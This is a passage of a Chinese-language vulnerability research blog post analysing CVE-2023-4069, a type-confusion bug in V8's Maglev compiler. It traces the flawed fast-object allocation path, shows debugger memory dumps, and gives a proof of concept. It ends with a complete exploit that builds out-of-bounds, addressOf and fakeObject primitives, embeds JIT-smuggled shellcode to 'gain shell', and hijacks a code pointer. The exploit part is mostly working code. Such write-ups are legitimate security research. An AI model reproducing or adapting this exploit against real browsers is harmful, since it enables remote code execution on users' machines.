FastObject(new_target_function->AsJSFunction(), zone(),
broker()),
AllocationType::kYoung);
} else {
object = BuildCallBuiltin<Builtin::kFastNewObject>(
{GetConstant(current_function), new_target});
}
StoreRegister(register_pair.first, GetBooleanConstant(true));
StoreRegister(register_pair.second, object);
return;
}
break;
}

// Keep walking up the class tree.
current = current_function.map(broker()).prototype(broker());
}
StoreRegister(register_pair.first, GetBooleanConstant(false));
StoreRegister(register_pair.second, GetConstant(current));
return;
}

接着看一下FastObject的实现,位于/src/maglev/maglev-graph-builder.cc

可以看到这里其实都没有check,根据constructor.initial_map来初始化对象的map,对应上面的就是Base的initial map,然后根据当前Base的构造函数预测该构造函数实例化对象的最终属性数量和大小,最后就是为这个对象分配内存

1
2
3
4
5
6
7
8
9
10
11
12
13
FastObject::FastObject(compiler::JSFunctionRef constructor, Zone* zone,
compiler::JSHeapBroker* broker)
: map(constructor.initial_map(broker)) {
compiler::SlackTrackingPrediction prediction =
broker->dependencies()->DependOnInitialMapInstanceSizePrediction(
constructor);
inobject_properties = prediction.inobject_property_count();
instance_size = prediction.instance_size();
fields = zone->NewArray<FastField>(inobject_properties);
ClearFields();
elements = FastFixedArray();
}

这里是初始化操作

1
2
3
4
5
void FastObject::ClearFields() {
for (int i = 0; i < inobject_properties; i++) {
fields[i] = FastField();
}
}

BuildAllocateFastObject的实现,位于/src/maglev/maglev-graph-builder.cc

基本上也没有什么检查,除了一个DCHECK,可以留意的是这里直接就根据传进来的快速对象去分配了,这里通过object.map去使用快速对象的map,对应上面的就是Base的initial map

其实到这里细心的读者应该是发现问题了,这里快速对象的分配不遵循之前的三个条件了,这里只判断了是current是否存在,且为JSFunction

回顾一下,成功进行快速对象分配的条件是

  • new_target的类型是JSFunction
  • new_target_func的initial map真实存在
  • target和new_target_constructor相同

那么其实这里意味着我们通过这个路径,去分配出target(Derived)和new_target(Base)的map不一致的情况,也就是使用new_target的map去分配Derived对象,这样就会造成类型混淆了

同时结合上面分配的flag是AllocationType::kYoung,意味着内存可以被gc回收,那么就可以主动触发gc,从而导致使用到未被初始化的内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(
FastObject object, AllocationType allocation_type) {
SmallZoneVector<ValueNode*, 8> properties(object.inobject_properties, zone());
for (int i = 0; i < object.inobject_properties; ++i) {
properties[i] = BuildAllocateFastObject(object.fields[i], allocation_type);
}
ValueNode* elements =
BuildAllocateFastObject(object.elements, allocation_type);

DCHECK(object.map.IsJSObjectMap());
// TODO(leszeks): Fold allocations.
ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(
object.instance_size, allocation_type);
BuildStoreReceiverMap(allocation, object.map);
AddNewNode<StoreTaggedFieldNoWriteBarrier>(
{allocation, GetRootConstant(RootIndex::kEmptyFixedArray)},
JSObject::kPropertiesOrHashOffset);
if (object.js_array_length.has_value()) {
BuildStoreTaggedField(allocation, GetConstant(*object.js_array_length),
JSArray::kLengthOffset);
}

BuildStoreTaggedField(allocation, elements, JSObject::kElementsOffset);
for (int i = 0; i < object.inobject_properties; ++i) {
BuildStoreTaggedField(allocation, properties[i],
object.map.GetInObjectPropertyOffset(i));
}
return allocation;
}

所以现在就需要看下这个执行路径,这里最需要注意的是TryGetConstant,其他的正常路径都是会达到的

1
2
3
4
5
6
7
8
TryGetConstant(this_function)
current.IsJSFunction()
!current_function.shared(broker()
!current_function.context(broker()
kind == FunctionKind::kDefaultBaseConstructor
TryGetConstant(new_target)
new_target_function && new_target_function->IsJSFunction()

TryGetConstant函数的实现,位于/src/maglev/maglev-graph-builder.cc

这里的存在两个方法,一个static方法,一个成员方法,然后成员方法会调用到static方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// static
compiler::OptionalHeapObjectRef MaglevGraphBuilder::TryGetConstant(
compiler::JSHeapBroker* broker, LocalIsolate* isolate, ValueNode* node) {
if (Constant* c = node->TryCast<Constant>()) {
return c->object();
}
if (RootConstant* c = node->TryCast<RootConstant>()) {
return MakeRef(broker, isolate->root_handle(c->index())).AsHeapObject();
}
return {};
}

compiler::OptionalHeapObjectRef MaglevGraphBuilder::TryGetConstant(
ValueNode* node, ValueNode** constant_node) {
if (auto result = TryGetConstant(broker(), local_isolate(), node)) {
if (constant_node) *constant_node = node;
return result;
}
const NodeInfo* info = known_node_aspects().TryGetInfoFor(node);
if (info && info->is_constant()) {
if (constant_node) *constant_node = info->constant_alternative;
return TryGetConstant(info->constant_alternative);
}
return {};
}

存在有两个路径,第一个路径是用于直接常量,第二个路径是用于传播常量;

  • 直接常量
    • 字面量(如42、”hello”、true、null、undefined)
    • 直接引用的全局对象(如Array、Object、Math等)
    • 代码中直接出现的常量表达式

比如说这种

1
2
let a = 42;           // 42 是字面量
let b = Array; // Array 是全局对象
  • 传播常量(需要语境推断的
    • 变量经过多次赋值、传递,但在当前优化路径下始终等于某个常量
    • 经过内联、函数调用、条件分支分析后,优化器能确定某个值恒定
1
2
3
4
5
function foo(x) {
let y = x;
return y + 1;
}
foo(42); // 如果优化器发现 x 恒等于 42,则 y 也可以视为常量

可以通过使用直接常量的方式绕过

漏洞利用

结合上面的分析,我们可以发现一个正常的快速对象分配是存在很多的检测,但是当Maglev在图建立阶段,分配快速对象的时候产生了问题,就是不会检测new_target和target的map是否一致,同时分配快速对象的时候使用的是new_target的initial map,因此如果二者的map不一致,那么这个可能会导致类型混淆的问题,常见的类型混淆就是JSObject和JSArray进行类型混淆。

同时还需要思考的是如何让两个TryGetConstant成立,第一处对于this_funciton的判断,也就是对于target的判断,我们可以让这个变量一直不变,让Maglev判断这个值时恒定的,也就是属于上面分析的传播常量的情况;第二处对于new_target的判断,考虑到new_target的initial map还会作为快速对象的map,因此这里可以设置为Array,对应的也就是直接常量,这样就可以绕过第二处的TryGetConstant,同时实现类型混淆,也就是意图创建target的对象实例,但是使用了new_target的initial map分配。

因为JSObject和JSArray的结构并不相同,这里会导致JSObject的in-object[0]这个字段会变成JSArray的Length字段,详细的可以看下面的两个对象的结构图

这里是JSObject的对象结构,Elements后面是in-object[0]

示例代码

1
2
3
4
var a = {in_obj:1,in_obj2:2};
a.out1 = 3;
a.out2 = 4;
%DebugPrint(a);

不难看出elements后面就是2和4,右移1位之后就是in_obj1和in_obj2。然后out1和out2存储在properties中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> job 0x3d840004c929
0x3d840004c929: [JS_OBJECT_TYPE]
- map: 0x3d840019b27d <Map[20](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3d8400184aa1 <Object map = 0x3d84001840dd>
- elements: 0x3d8400000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x3d840004c9b5 <PropertyArray[3]>
- All own properties (excluding elements): {
0x3d840019ab75: [String] in OldSpace: #in_obj: 1 (const data field 0), location: in-object
0x3d840019ab89: [String] in OldSpace: #in_obj2: 2 (const data field 1), location: in-object
0x3d840019ab9d: [String] in OldSpace: #out1: 3 (const data field 2), location: properties[0]
0x3d840019abad: [String] in OldSpace: #out2: 4 (const data field 3), location: properties[1]
}
pwndbg> x/32wx 0x3d840004c929-1
0x3d840004c928: 0x0019b27d 0x0004c9b5 0x00000219 0x00000002
0x3d840004c938: 0x00000004 0x00000129 0x00010001 0x00000000
……
pwndbg> job 0x3d840004c9b5
0x3d840004c9b5: [PropertyArray]
- map: 0x3d84000009c9 <Map(PROPERTY_ARRAY_TYPE)>
- length: 3
- hash: 0
0: 3
1: 4
2: 0x3d8400000251 <undefined>
pwndbg> x/32wx 0x3d840004c9b5-1
0x3d840004c9b4: 0x000009c9 0x00000006 0x00000006 0x00000008
0x3d840004c9c4: 0x00000251 0x00000129 0x00040004 0x00000000

这里是JSArray对象的结构

示例代码

1
2
var arr = [1.1,2.2,3.3];
%DebugPrint(arr);

输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> job 0x9f20004c96d
0x9f20004c96d: [JSArray]
- map: 0x09f20018ece5 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x09f20018e705 <JSArray[0]>
- elements: 0x09f20004c94d <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x09f200000219 <FixedArray[0]>
- All own properties (excluding elements): {
0x9f200000e0d: [String] in ReadOnlySpace: #length: 0x09f200144a3d <AccessorInfo name= 0x09f200000e0d <String[6]: #length>, data= 0x09f200000251 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x09f20004c94d <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
pwndbg> x/16wx 0x9f20004c96d-1
0x9f20004c96c: 0x0018ece5 0x00000219 0x0004c94d 0x00000006
0x9f20004c97c: 0x00000000 0x00000000 0x00000000 0x00000000
0x9f20004c98c: 0x00000000 0x00000000 0x00000000 0x00000000
0x9f20004c99c: 0x00000000 0x00000000 0x00000000 0x00000000

因为使用Reflect.construct(Derived, [], Base);的时候无法创建in-object对象,所以这里混淆后的Length就只能为0,但是别忘了还有gc,我们可以主动触发gc,这样会使用到一些地址上残留的值,这样就会有一个oob了

因此下面是一个poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var x = Array;

class Base {}

class Derived extends Base {
constructor() {
x = new.target;
super();
}
}

function construct() {
var r = Reflect.construct(Derived, [], x);
return r;
}

%PrepareFunctionForOptimization(Derived);
construct();
construct();
%OptimizeMaglevOnNextCall(Derived);

var arr = construct();
// console.log(arr.length);
%DebugPrint(arr);

因为chrome执行会默认带–maglev这个flag,所以这里d8执行的时候需要加上–maglev,下面是输出,可以看到length字段已经出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
➜  x64.release git:(11.5.150.16) ./d8 --allow-natives-syntax --maglev ./poc.js
DebugPrint: 0xf490004c9e9: [JSArray]
- map: 0x0f490018e4c1 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x0f490018e705 <JSArray[0]>
- elements: 0x0f4900000219 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
- length: 0
- properties: 0x0f4900000219 <FixedArray[0]>
- All own properties (excluding elements): {
0xf4900000e0d: [String] in ReadOnlySpace: #length: 0x0f4900144a3d <AccessorInfo name= 0x0f4900000e0d <String[6]: #length>, data= 0x0f4900000251 <undefined>> (const accessor descriptor), location: descriptor
}
0xf490018e4c1: [Map] in OldSpace
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x0f4900000251 <undefined>
- prototype_validity cell: 0x0f4900000ab9 <Cell value= 1>
- instance descriptors #1: 0x0f490018ec71 <DescriptorArray[1]>
- transitions #1: 0x0f490018ec8d <TransitionArray[4]>Transition array #1:
0x0f4900000ed1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x0f490018eca5 <Map[16](HOLEY_SMI_ELEMENTS)>

- prototype: 0x0f490018e705 <JSArray[0]>
- constructor: 0x0f490018e42d <JSFunction Array (sfi = 0xf490014b375)>
- dependent code: 0x0f490004c979 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

方便查阅

有了一个oob的原语,下面的思路比较固定,我构造了这样的一个结构,首先堆喷一个victim_array(用对象初始化),这样Elements的地址相较于oob_array会相对稳定(这里笔者的机器信息见下方,然后这里oob_array的Elements在笔者机器上的offset稳定为0x219)

接着利用oob_array的oob去修改victim_array的elements元素,布置伪造的map(根据版本动态修改)和对象,然后布置这个fake_obj_addr,便于后续伪造fake_object,也就是一步到位直接有fakeObject原语了

然后victim_array的Elements首部可以布置一个obj,这样方便写addressOf的原语,通过oob_array越界写

笔者机器使用的环境

1
2
3
4
5
6
7
8
9
10
11
12
➜  x64.release git:(11.5.150.16) ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.10) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
➜ x64.release git:(11.5.150.16) lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 22.04.4 LTS
Release: 22.04
Codename: jammy

遇到的一些问题

  • 使用gdb调试的时候堆布局与直接使用shell运行不一样,最后笔者使用gdb attach解决了
  • 有了addressOf和fakeObject之后,AAR和AAW的功能必须是通过一个一个语句实现,编写函数则无法成功,很奇怪的问题
  • 使用oob_array的越界读功能读到一些地址会crash。一开始的思路是通过布置一个特征值,然后越界读,确定地址,然后接着后续利用,但是因为这个所以暂时先放弃了(不过布置下堆,缩小遍历的范围,应该还是可行的
  • victim_array的elements因为是对象初始化的,所以索引的时候应该是offset/4

exp

笔者机器上,堆喷射后victim_array的elements地址只有这两个情况,0x2423cd和0x2423e9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);


function lh_u32_to_f64(l,h){
u32[0] = l;
u32[1] = h;
return f64[0];
}
function f64_to_u32l(val){
f64[0] = val;
return u32[0];
}
function f64_to_u32h(val){
f64[0] = val;
return u32[1];
}
function f64_to_u64(val){
f64[0] = val;
return u64[0];
}
function u64_to_f64(val){
u64[0] = val;
return f64[0];
}

function u64_to_u32_lo(val){
u64[0] = val;
return u32[0];
}

function u64_to_u32_hi(val){
u64[0] = val;
return u32[1];
}

function trigger_gc(){
new Array(0x7fe00000);
}

function stop(){
// %SystemBreak();
console.log("Press Enter to continue...");
readline();
}

function p(arg){
%DebugPrint(arg);
}

function spin(){
while(1){};
}

function hex(str){
return str.toString(16).padStart(16,0);
}

function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}

// gain shell
const shellcode = () => {return [
1.9553825422107533e-246,
1.9560612558242147e-246,
1.9995714719542577e-246,
1.9533767332674093e-246,
2.6348604765229606e-284
];}

for(let i = 0; i< 40000; i++){
shellcode();
}

var x = Array;

class Base {}

class Derived extends Base {
constructor() {
x = new.target;
super();
}
}

function construct() {
var res = Reflect.construct(Derived, [], x);
return res;
}

for (let i = 0; i < 2000; i++) construct();

trigger_gc();
trigger_gc();


var oob_array = construct();
oob_array = construct();
// p(oob_array);
// console.log(oob_array.length);

var confused_element_addr = 0x219+7;
var element_addr = 0x2423e9 - 1;
var element_addr_start = element_addr + 8;
var fake_map_addr = element_addr + 0x1000;
var fake_object_addr = element_addr + 0x2000;
var saved_fake_object_addr = element_addr + 0x100;


logg("confused_element_addr", confused_element_addr);
logg("element_addr", element_addr);
logg("element_addr_start", element_addr_start);
logg("fake_map_addr", fake_map_addr);
logg("fake_object_addr", fake_object_addr);


new Array(0x7f00).fill({});
var victim_array = new Array(0x7f00).fill({});

// p(victim_array);

oob_array[(fake_map_addr - confused_element_addr)/8] = u64_to_f64(0x2c04040400000061n);
oob_array[(fake_map_addr - confused_element_addr)/8 + 1] = u64_to_f64(0x0a0007ff11000842n);
oob_array[(fake_object_addr - confused_element_addr)/8] = lh_u32_to_f64(fake_map_addr+1,0x0);
oob_array[(fake_object_addr - confused_element_addr)/8 + 1] = lh_u32_to_f64(0x1000,0x1000);
oob_array[(saved_fake_object_addr - confused_element_addr)/8] = lh_u32_to_f64(fake_object_addr+1,fake_object_addr+1);

var fake_object = victim_array[(saved_fake_object_addr - element_addr_start)/4];
// console.log(typeof fake_object);
// p(fake_object);

function addressOf(obj){
victim_array[0] = obj;
return u64_to_u32_lo(f64_to_u64(oob_array[(element_addr_start - confused_element_addr)/8]));
}

// p(shellcode);

var shellcode_addr = addressOf(shellcode);


oob_array[(fake_object_addr - confused_element_addr)/8 + 1] = lh_u32_to_f64(shellcode_addr - 8 + 0x18,0x1000);

var code_addr = u64_to_u32_lo(f64_to_u64(fake_object[0]));

oob_array[(fake_object_addr - confused_element_addr)/8 + 1] = lh_u32_to_f64(code_addr - 8 + 0x10,0x1000);
var ins_base = (f64_to_u64(fake_object[0]));

var rop_addr = ins_base + 0x56n;
fake_object[0] = u64_to_f64(rop_addr);

logg("shellcode_addr", shellcode_addr);
logg("code_addr", code_addr);
logg("ins_base", ins_base);
logg("rop_addr", rop_addr);

// stop();
shellcode();
// spin();


参考文章

https://github.blog/security/vulnerability-research/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler/
https://github.com/github/securitylab/blob/main/SecurityExploits/Chrome/v8/CVE_2023_4069/poc.js
https://github.com/github/securitylab/discussions/797
https://www.matteomalvica.com/blog/2024/06/05/intro-v8-exploitation-maglev/


CVE-2023-4069:Maglev图建立阶段的一个漏洞
http://example.com/2025/07/15/CVE-2023-4069/
作者
flyyy
发布于
2025年7月15日
许可协议